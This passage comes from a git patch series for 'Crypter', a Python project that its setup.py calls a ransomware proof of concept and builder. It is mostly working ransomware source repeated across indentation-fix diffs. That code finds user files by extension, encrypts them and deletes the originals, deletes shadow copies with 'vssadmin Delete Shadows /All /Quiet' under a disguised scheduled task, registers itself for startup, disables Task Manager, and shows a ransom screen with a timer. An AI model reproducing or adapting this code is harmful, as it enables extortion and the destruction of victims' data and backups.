self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) + winreg.DeleteValue(reg, "Crypter") + winreg.CloseKey(reg) + except WindowsError: + pass + + +def get_start_time(self): + ''' + @summary: Get's Crypter's start time from the registry, or creates it if it + doesn't exist + @return: The time that the ransomware began it's encryption operation, in integer epoch form + ''' + + # Try to open registry key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + start_time = winreg.QueryValueEx(reg, "")[0] + winreg.CloseKey(reg) + # If failure, create the key + except WindowsError: + start_time = int(time.time()) + reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) + winreg.CloseKey(reg) + + return start_time + +def cleanup(self): + ''' + @summary: Cleanups the system following successful decryption. Removed the list of + encrypted files and deletes the Crypter registry key. Re-enable TM + ''' + + # If files were encrypted, Remove from startup programs (if present in list) + if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: + self.__remove_from_startup_programs() + + self.delete_encrypted_file_list() + self.delete_registry_entries() + + if self.__config["disable_task_manager"]: try: - reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) - winreg.DeleteValue(reg, "Crypter") - winreg.CloseKey(reg) + self.task_manager.enable() except WindowsError: pass - def get_start_time(self): - ''' - @summary: Get's Crypter's start time from the registry, or creates it if it - doesn't exist - @return: The time that the ransomware began it's encryption operation, in integer epoch form - ''' - # Try to open registry key - try: - reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - start_time = winreg.QueryValueEx(reg, "")[0] - winreg.CloseKey(reg) - # If failure, create the key - except WindowsError: - start_time = int(time.time()) - reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) - winreg.CloseKey(reg) +def delete_registry_entries(self): + ''' + @summary: Deletes the timer registry key + ''' - return start_time + # Open and delete the key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.DeleteKeyEx(reg, "") + winreg.CloseKey(reg) + except WindowsError: + # Ignore any Windows errors + pass - def cleanup(self): - ''' - @summary: Cleanups the system following successful decryption. Removed the list of - encrypted files and deletes the Crypter registry key. Re-enable TM - ''' - # If files were encrypted, Remove from startup programs (if present in list) - if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: - self.__remove_from_startup_programs() +def start_gui(self): + ''' + @summary: Initialises and launches the ransomware GUI screen + ''' - self.delete_encrypted_file_list() - self.delete_registry_entries() + # Get Crypter start_time + start_time = self.get_start_time() - if self.__config["disable_task_manager"]: - try: - self.task_manager.enable() - except WindowsError: - pass + app = wx.App() + # TODO Update this to new path and place in __init__ + try: + image_path = sys._MEIPASS + except AttributeError: + image_path = os.path.join("..\\", "CrypterBuilder", "Resources") - def delete_registry_entries(self): - ''' - @summary: Deletes the timer registry key - ''' + crypter_gui = Gui.Gui( + image_path=image_path, + start_time=start_time, + decrypter=self, + config=self.__config) - # Open and delete the key - try: - reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - winreg.DeleteKeyEx(reg, "") - winreg.CloseKey(reg) - except WindowsError: - # Ignore any Windows errors - pass + crypter_gui.Show() + app.MainLoop() - def start_gui(self): - ''' - @summary: Initialises and launches the ransomware GUI screen - ''' - # Get Crypter start_time - start_time = self.get_start_time() +def get_encrypted_files_list(self): + ''' + @summary: Returns a list of the files encrypted by crypter + @return: Encrypted file list + ''' - app = wx.App() - # TODO Update this to new path and place in __init__ - try: - image_path = sys._MEIPASS - except AttributeError: - image_path = os.path.join("..\\", "CrypterBuilder", "Resources") + # Get list of encrypted files + try: + with open(self.encrypted_file_list) as fh: + file_list = fh.readlines() + fh.close() + except IOError: + # Don't error, just return message + raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) - crypter_gui = Gui.Gui( - image_path=image_path, - start_time=start_time, - decrypter=self, - config=self.__config) + return file_list - crypter_gui.Show() - app.MainLoop() - def get_encrypted_files_list(self): - ''' - @summary: Returns a list of the files encrypted by crypter - @return: Encrypted file list - ''' +def decrypt_file(self, encrypted_file, decryption_key): + ''' + @summary: Processes the list of encrypted files and decrypts each. Should be called once per file + @param encrypted_file: an encrypted file to decrypt + ''' - # Get list of encrypted files - try: - with open(self.encrypted_file_list) as fh: - file_list = fh.readlines() - fh.close() - except IOError: - # Don't error, just return message - raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) + # Decrypt! + if not encrypted_file: + return - return file_list + # IF successful decryption, delete locked file + locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, + self.__config["encrypted_file_extension"]) + if locked_path: + os.remove(locked_path) - def decrypt_file(self, encrypted_file, decryption_key): - ''' - @summary: Processes the list of encrypted files and decrypts each. Should be called once per file - @param encrypted_file: an encrypted file to decrypt - ''' - # Decrypt! - if not encrypted_file: - return +def delete_encrypted_file_list(self): + ''' + @summary: Deletes the list of encrypted files + ''' - # IF successful decryption, delete locked file - locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, - self.__config["encrypted_file_extension"]) - if locked_path: - os.remove(locked_path) + # Remove encrypted file list + if os.path.isfile(self.encrypted_file_list): + os.remove(self.encrypted_file_list) - def delete_encrypted_file_list(self): - ''' - @summary: Deletes the list of encrypted files - ''' - # Remove encrypted file list - if os.path.isfile(self.encrypted_file_list): - os.remove(self.encrypted_file_list) +def encrypt_files(self, file_list): + ''' + @summary: Encrypts all files in the provided file list param + @param file_list: A list of files to encrypt + ''' + encrypted_files = [] - def encrypt_files(self, file_list): - ''' - @summary: Encrypts all files in the provided file list param - @param file_list: A list of files to encrypt - ''' - encrypted_files = [] - - # Encrypt them and add to list if successful - for file in file_list: - - # Encrypt file if less than specified file size - try: - if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: - is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) - else: - is_encrypted = False - - # IF encrypted, try to delete the file and add to the list - if is_encrypted: - os.remove(file) - encrypted_files.append(file) - except: - # Ignore any exception, such as access denied, and continue - raise - - # Write out list of encrypted files - if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): - fh = open(self.encrypted_file_list, "w") - for encrypted_file in encrypted_files: - fh.write(encrypted_file) - fh.write("\n") - fh.close() - - def find_files(self): - ''' - @summary: Searches the file system and builds a list of files to encrypt - @return: List of files matching the location and filetype criteria - ''' - binary_name = os.path.split(sys.argv[0])[1] + # Encrypt them and add to list if successful + for file in file_list: - # Get Current Working Directory + # Encrypt file if less than specified file size try: - cwd = sys._MEIPASS - except AttributeError: - cwd = os.path.dirname(os.getcwd()) - - base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) - file_list = [] - - for directory in base_dirs: - print("Checking: %s" % directory) - for path, subdirs, files in os.walk(directory): - for file in files: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith( - win32file.GetLongPathName(cwd).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - for file in subdirs: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith( - win32file.GetLongPathName(cwd).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - - return file_list - - def is_excluded_dir(self, path): - ''' - @summary: Checks whether the specified path should be excluded from encryption - @param path: The path to check - @return: True if the path should be excluded from encryption, otherwise False - ''' + if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: + is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) + else: + is_encrypted = False + + # IF encrypted, try to delete the file and add to the list + if is_encrypted: + os.remove(file) + encrypted_files.append(file) + except: + # Ignore any exception, such as access denied, and continue + raise + + # Write out list of encrypted files + if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): + fh = open(self.encrypted_file_list, "w") + for encrypted_file in encrypted_files: + fh.write(encrypted_file) + fh.write("\n") + fh.close() + + +def find_files(self): + ''' + @summary: Searches the file system and builds a list of files to encrypt + @return: List of files matching the location and filetype criteria + ''' + binary_name = os.path.split(sys.argv[0])[1] + + # Get Current Working Directory + try: + cwd = sys._MEIPASS + except AttributeError: + cwd = os.path.dirname(os.getcwd()) + + base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) + file_list = [] + + for directory in base_dirs: + print("Checking: %s" % directory) + for path, subdirs, files in os.walk(directory): + for file in files: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + for file in subdirs: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + + return file_list + + +def is_excluded_dir(self, path): + ''' + @summary: Checks whether the specified path should be excluded from encryption + @param path: The path to check + @return: True if the path should be excluded from encryption, otherwise False + ''' - for dir_to_exclude in self.DIRS_TO_EXCLUDE: - if "\\%s" % dir_to_exclude.lower() in path.lower(): - return True + for dir_to_exclude in self.DIRS_TO_EXCLUDE: + if "\\%s" % dir_to_exclude.lower() in path.lower(): + return True - return False + return False - def is_excluded_file(self, file): - ''' - @summary: Checks whether the specified file is marked as a file to be excluded from encryption - @param file: The file to check - @requires: True if the file should be excluded from encryption, otherwise false - ''' - if file.lower() in self.FILES_TO_EXCLUDE: - return True - else: - return False +def is_excluded_file(self, file): + ''' + @summary: Checks whether the specified file is marked as a file to be excluded from encryption + @param file: The file to check + @requires: True if the file should be excluded from encryption, otherwise false + ''' - def is_valid_filetype(self, file): - ''' - @summary: Verifies whether the specified file is of an acceptable type for encryption - @param file: The file to check - @attention: The list of filetypes to encrypt is defined in the Base.Base class - ''' + if file.lower() in self.FILES_TO_EXCLUDE: + return True + else: + return False - # Split filename - filename_components = file.split(".") - # If no extension, return False - if len(filename_components) <= 1: - return False - # Otherwise stringify extension - else: - full_extension = ".".join(filename_components[1:]).lower() +def is_valid_filetype(self, file): + ''' + @summary: Verifies whether the specified file is of an acceptable type for encryption + @param file: The file to check + @attention: The list of filetypes to encrypt is defined in the Base.Base class + ''' - # Check if extension is in the list of encryptable extensions - for target_extension in self.__config["filetypes_to_encrypt"]: - if len(target_extension) <= len(full_extension) and full_extension[ - -len(target_extension):] == target_extension.lower(): - return True + # Split filename + filename_components = file.split(".") + # If no extension, return False + if len(filename_components) <= 1: return False + # Otherwise stringify extension + else: + full_extension = ".".join(filename_components[1:]).lower() + + # Check if extension is in the list of encryptable extensions + for target_extension in self.__config["filetypes_to_encrypt"]: + if len(target_extension) <= len(full_extension) and full_extension[ + -len(target_extension):] == target_extension.lower(): + return True - def set_wallpaper(self): - ''' - @summary: Sets the users wallpaper to a specific ransom not image - @deprecated: This method, and approach, is no longer used. The ransom - note is now displayed via a WX GUI - @requires: To enable this method, add an import for ctypes - ''' + return False + + +def set_wallpaper(self): + ''' + @summary: Sets the users wallpaper to a specific ransom not image + @deprecated: This method, and approach, is no longer used. The ransom + note is now displayed via a WX GUI + @requires: To enable this method, add an import for ctypes + ''' - # Import image and write to path - # todo adjust file name... maybe replace this with whatever is provided in the config file? - image_path = os.path.join(sys._MEIPASS, "ransom.png") + # Import image and write to path + # todo adjust file name... maybe replace this with whatever is provided in the config file? + image_path = os.path.join(sys._MEIPASS, "ransom.png") - SPI_SETDESKWALLPAPER = 20 - ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) + SPI_SETDESKWALLPAPER = 20 + ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) From 60ad11e480549a7075e2f4472e0f0c9d7ddfc624 Mon Sep 17 00:00:00 2001 From: sithis Date: Fri, 24 Apr 2020 17:48:32 +0100 Subject: [PATCH 14/41] Added egg-info dir to gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 53e1d4d..9ca4194 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,7 @@ key.txt CrypterBuilder/Resources/runtime.cfg # DIRS +Crypter.egg-info/* Crypter/.settings/ bin/ build/ From 02b0b7fc93fc93f4d1b6a9ea1b48ac85d3c2f5c4 Mon Sep 17 00:00:00 2001 From: sithis Date: Fri, 24 Apr 2020 17:48:59 +0100 Subject: [PATCH 15/41] Created initial setup.py script --- setup.py | 44 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 setup.py diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..4b9a632 --- /dev/null +++ b/setup.py @@ -0,0 +1,44 @@ +# Import Libs +import shutil +from setuptools import setup + +# Clear previous build +#import os +#if os.path.isdir("dist"): +# shutil.rmtree("dist") +#if os.path.isdir("build"): +# shutil.rmtree("build") +#if os.path.isdir("Crypter.egg-info"): +# shutil.rmtree("Crypter.egg-info") + +setup( + name='Crypter', + version='3.0', + install_requires=[ + "altgraph==0.17", + "future==0.18.2", + "macholib==1.14", + "numpy==1.18.2", + "pefile==2019.4.18", + "pycryptodome==3.9.7", + "PyInstaller==3.6", + "Pypubsub==4.0.3", + "pywin32==227", + "pywin32-ctypes==0.2.0", + "six==1.14.0", + "wxPython==4.0.7" + ], + scripts=["Builder.pyw"], + package_data={ + 'CrypterBuilder': ['Resources\\*'] + }, + packages=[ + 'Crypter', 'Crypter.Crypter', + 'CrypterBuilder' + ], + url='https://github.com/sithis993/Crypter', + license='GPL-3.0', + author='sithis', + author_email='', + description='Crypter Ransomware PoC and Builder' +) From 5a616d0a1e37e78687e4e7f967b59d4292254e70 Mon Sep 17 00:00:00 2001 From: sithis Date: Fri, 24 Apr 2020 18:20:15 +0100 Subject: [PATCH 16/41] Fixed indentation --- Crypter/Crypter/Crypter.py | 582 ++++++++++++++++++------------------- 1 file changed, 291 insertions(+), 291 deletions(-) diff --git a/Crypter/Crypter/Crypter.py b/Crypter/Crypter/Crypter.py index 7ce12c4..f777b12 100644 --- a/Crypter/Crypter/Crypter.py +++ b/Crypter/Crypter/Crypter.py @@ -84,358 +84,358 @@ def __init__(self): self.start_gui() -def __load_config(self): - ''' - @summary: Loads the runtime cfg file - @return: JSON runtime config - ''' + def __load_config(self): + ''' + @summary: Loads the runtime cfg file + @return: JSON runtime config + ''' - try: - cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) - except AttributeError: - cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") + try: + cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) + except AttributeError: + cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") - with open(cfg_path, "r") as runtime_cfg_file: - config = json.load(runtime_cfg_file) + with open(cfg_path, "r") as runtime_cfg_file: + config = json.load(runtime_cfg_file) - return config + return config -def __delete_shadow_files(self): - ''' - @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk - ''' + def __delete_shadow_files(self): + ''' + @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk + ''' - vs_deleter = ScheduledTask( - name="updater47", - command="vssadmin Delete Shadows /All /Quiet" - ) - vs_deleter.run_now() - vs_deleter.cleanup() + vs_deleter = ScheduledTask( + name="updater47", + command="vssadmin Delete Shadows /All /Quiet" + ) + vs_deleter.run_now() + vs_deleter.cleanup() -def __no_files_were_encrypted(self): - ''' - @summary: Checks if any files were encrypted - @return: True if no files were encrypted, otherwise False - @todo: Test - ''' + def __no_files_were_encrypted(self): + ''' + @summary: Checks if any files were encrypted + @return: True if no files were encrypted, otherwise False + @todo: Test + ''' - if not os.path.isfile(self.encrypted_file_list): - return True - else: - return False + if not os.path.isfile(self.encrypted_file_list): + return True + else: + return False -def __add_to_startup_programs(self): - ''' - @summary: Adds Crypter to the list of Windows startup programs - @todo: Code and test - @todo: Restore try and except catch - ''' + def __add_to_startup_programs(self): + ''' + @summary: Adds Crypter to the list of Windows startup programs + @todo: Code and test + @todo: Restore try and except catch + ''' - try: - reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) - winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) - winreg.CloseKey(reg) - except WindowsError: - pass + try: + reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) + winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) + winreg.CloseKey(reg) + except WindowsError: + pass -def __remove_from_startup_programs(self): - ''' - @summary: Removes Crypter from the list of startup programs - @todo: Code and test - ''' + def __remove_from_startup_programs(self): + ''' + @summary: Removes Crypter from the list of startup programs + @todo: Code and test + ''' - try: - reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) - winreg.DeleteValue(reg, "Crypter") - winreg.CloseKey(reg) - except WindowsError: - pass + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) + winreg.DeleteValue(reg, "Crypter") + winreg.CloseKey(reg) + except WindowsError: + pass -def get_start_time(self): - ''' - @summary: Get's Crypter's start time from the registry, or creates it if it - doesn't exist - @return: The time that the ransomware began it's encryption operation, in integer epoch form - ''' + def get_start_time(self): + ''' + @summary: Get's Crypter's start time from the registry, or creates it if it + doesn't exist + @return: The time that the ransomware began it's encryption operation, in integer epoch form + ''' - # Try to open registry key - try: - reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - start_time = winreg.QueryValueEx(reg, "")[0] - winreg.CloseKey(reg) - # If failure, create the key - except WindowsError: - start_time = int(time.time()) - reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) - winreg.CloseKey(reg) + # Try to open registry key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + start_time = winreg.QueryValueEx(reg, "")[0] + winreg.CloseKey(reg) + # If failure, create the key + except WindowsError: + start_time = int(time.time()) + reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) + winreg.CloseKey(reg) - return start_time + return start_time -def cleanup(self): - ''' - @summary: Cleanups the system following successful decryption. Removed the list of - encrypted files and deletes the Crypter registry key. Re-enable TM - ''' + def cleanup(self): + ''' + @summary: Cleanups the system following successful decryption. Removed the list of + encrypted files and deletes the Crypter registry key. Re-enable TM + ''' + + # If files were encrypted, Remove from startup programs (if present in list) + if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: + self.__remove_from_startup_programs() + + self.delete_encrypted_file_list() + self.delete_registry_entries() + + if self.__config["disable_task_manager"]: + try: + self.task_manager.enable() + except WindowsError: + pass - # If files were encrypted, Remove from startup programs (if present in list) - if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: - self.__remove_from_startup_programs() - self.delete_encrypted_file_list() - self.delete_registry_entries() + def delete_registry_entries(self): + ''' + @summary: Deletes the timer registry key + ''' - if self.__config["disable_task_manager"]: + # Open and delete the key try: - self.task_manager.enable() + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.DeleteKeyEx(reg, "") + winreg.CloseKey(reg) except WindowsError: + # Ignore any Windows errors pass -def delete_registry_entries(self): - ''' - @summary: Deletes the timer registry key - ''' + def start_gui(self): + ''' + @summary: Initialises and launches the ransomware GUI screen + ''' - # Open and delete the key - try: - reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - winreg.DeleteKeyEx(reg, "") - winreg.CloseKey(reg) - except WindowsError: - # Ignore any Windows errors - pass + # Get Crypter start_time + start_time = self.get_start_time() + app = wx.App() + # TODO Update this to new path and place in __init__ + try: + image_path = sys._MEIPASS + except AttributeError: + image_path = os.path.join("..\\", "CrypterBuilder", "Resources") -def start_gui(self): - ''' - @summary: Initialises and launches the ransomware GUI screen - ''' + crypter_gui = Gui.Gui( + image_path=image_path, + start_time=start_time, + decrypter=self, + config=self.__config) - # Get Crypter start_time - start_time = self.get_start_time() + crypter_gui.Show() + app.MainLoop() - app = wx.App() - # TODO Update this to new path and place in __init__ - try: - image_path = sys._MEIPASS - except AttributeError: - image_path = os.path.join("..\\", "CrypterBuilder", "Resources") - crypter_gui = Gui.Gui( - image_path=image_path, - start_time=start_time, - decrypter=self, - config=self.__config) + def get_encrypted_files_list(self): + ''' + @summary: Returns a list of the files encrypted by crypter + @return: Encrypted file list + ''' - crypter_gui.Show() - app.MainLoop() + # Get list of encrypted files + try: + with open(self.encrypted_file_list) as fh: + file_list = fh.readlines() + fh.close() + except IOError: + # Don't error, just return message + raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) + return file_list -def get_encrypted_files_list(self): - ''' - @summary: Returns a list of the files encrypted by crypter - @return: Encrypted file list - ''' - # Get list of encrypted files - try: - with open(self.encrypted_file_list) as fh: - file_list = fh.readlines() - fh.close() - except IOError: - # Don't error, just return message - raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) + def decrypt_file(self, encrypted_file, decryption_key): + ''' + @summary: Processes the list of encrypted files and decrypts each. Should be called once per file + @param encrypted_file: an encrypted file to decrypt + ''' - return file_list + # Decrypt! + if not encrypted_file: + return + # IF successful decryption, delete locked file + locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, + self.__config["encrypted_file_extension"]) + if locked_path: + os.remove(locked_path) -def decrypt_file(self, encrypted_file, decryption_key): - ''' - @summary: Processes the list of encrypted files and decrypts each. Should be called once per file - @param encrypted_file: an encrypted file to decrypt - ''' - # Decrypt! - if not encrypted_file: - return + def delete_encrypted_file_list(self): + ''' + @summary: Deletes the list of encrypted files + ''' - # IF successful decryption, delete locked file - locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, - self.__config["encrypted_file_extension"]) - if locked_path: - os.remove(locked_path) + # Remove encrypted file list + if os.path.isfile(self.encrypted_file_list): + os.remove(self.encrypted_file_list) -def delete_encrypted_file_list(self): - ''' - @summary: Deletes the list of encrypted files - ''' + def encrypt_files(self, file_list): + ''' + @summary: Encrypts all files in the provided file list param + @param file_list: A list of files to encrypt + ''' + encrypted_files = [] + + # Encrypt them and add to list if successful + for file in file_list: + + # Encrypt file if less than specified file size + try: + if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: + is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) + else: + is_encrypted = False + + # IF encrypted, try to delete the file and add to the list + if is_encrypted: + os.remove(file) + encrypted_files.append(file) + except: + # Ignore any exception, such as access denied, and continue + raise + + # Write out list of encrypted files + if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): + fh = open(self.encrypted_file_list, "w") + for encrypted_file in encrypted_files: + fh.write(encrypted_file) + fh.write("\n") + fh.close() + + + def find_files(self): + ''' + @summary: Searches the file system and builds a list of files to encrypt + @return: List of files matching the location and filetype criteria + ''' + binary_name = os.path.split(sys.argv[0])[1] - # Remove encrypted file list - if os.path.isfile(self.encrypted_file_list): - os.remove(self.encrypted_file_list) + # Get Current Working Directory + try: + cwd = sys._MEIPASS + except AttributeError: + cwd = os.path.dirname(os.getcwd()) + + base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) + file_list = [] + + for directory in base_dirs: + print("Checking: %s" % directory) + for path, subdirs, files in os.walk(directory): + for file in files: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + for file in subdirs: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + + return file_list + + + def is_excluded_dir(self, path): + ''' + @summary: Checks whether the specified path should be excluded from encryption + @param path: The path to check + @return: True if the path should be excluded from encryption, otherwise False + ''' + for dir_to_exclude in self.DIRS_TO_EXCLUDE: + if "\\%s" % dir_to_exclude.lower() in path.lower(): + return True -def encrypt_files(self, file_list): - ''' - @summary: Encrypts all files in the provided file list param - @param file_list: A list of files to encrypt - ''' - encrypted_files = [] + return False - # Encrypt them and add to list if successful - for file in file_list: - # Encrypt file if less than specified file size - try: - if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: - is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) - else: - is_encrypted = False - - # IF encrypted, try to delete the file and add to the list - if is_encrypted: - os.remove(file) - encrypted_files.append(file) - except: - # Ignore any exception, such as access denied, and continue - raise - - # Write out list of encrypted files - if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): - fh = open(self.encrypted_file_list, "w") - for encrypted_file in encrypted_files: - fh.write(encrypted_file) - fh.write("\n") - fh.close() - - -def find_files(self): - ''' - @summary: Searches the file system and builds a list of files to encrypt - @return: List of files matching the location and filetype criteria - ''' - binary_name = os.path.split(sys.argv[0])[1] - - # Get Current Working Directory - try: - cwd = sys._MEIPASS - except AttributeError: - cwd = os.path.dirname(os.getcwd()) - - base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) - file_list = [] - - for directory in base_dirs: - print("Checking: %s" % directory) - for path, subdirs, files in os.walk(directory): - for file in files: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith( - win32file.GetLongPathName(cwd).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - for file in subdirs: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith( - win32file.GetLongPathName(cwd).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - - return file_list - - -def is_excluded_dir(self, path): - ''' - @summary: Checks whether the specified path should be excluded from encryption - @param path: The path to check - @return: True if the path should be excluded from encryption, otherwise False - ''' + def is_excluded_file(self, file): + ''' + @summary: Checks whether the specified file is marked as a file to be excluded from encryption + @param file: The file to check + @requires: True if the file should be excluded from encryption, otherwise false + ''' - for dir_to_exclude in self.DIRS_TO_EXCLUDE: - if "\\%s" % dir_to_exclude.lower() in path.lower(): + if file.lower() in self.FILES_TO_EXCLUDE: return True + else: + return False - return False - - -def is_excluded_file(self, file): - ''' - @summary: Checks whether the specified file is marked as a file to be excluded from encryption - @param file: The file to check - @requires: True if the file should be excluded from encryption, otherwise false - ''' - if file.lower() in self.FILES_TO_EXCLUDE: - return True - else: - return False + def is_valid_filetype(self, file): + ''' + @summary: Verifies whether the specified file is of an acceptable type for encryption + @param file: The file to check + @attention: The list of filetypes to encrypt is defined in the Base.Base class + ''' + # Split filename + filename_components = file.split(".") -def is_valid_filetype(self, file): - ''' - @summary: Verifies whether the specified file is of an acceptable type for encryption - @param file: The file to check - @attention: The list of filetypes to encrypt is defined in the Base.Base class - ''' + # If no extension, return False + if len(filename_components) <= 1: + return False + # Otherwise stringify extension + else: + full_extension = ".".join(filename_components[1:]).lower() - # Split filename - filename_components = file.split(".") + # Check if extension is in the list of encryptable extensions + for target_extension in self.__config["filetypes_to_encrypt"]: + if len(target_extension) <= len(full_extension) and full_extension[ + -len(target_extension):] == target_extension.lower(): + return True - # If no extension, return False - if len(filename_components) <= 1: return False - # Otherwise stringify extension - else: - full_extension = ".".join(filename_components[1:]).lower() - - # Check if extension is in the list of encryptable extensions - for target_extension in self.__config["filetypes_to_encrypt"]: - if len(target_extension) <= 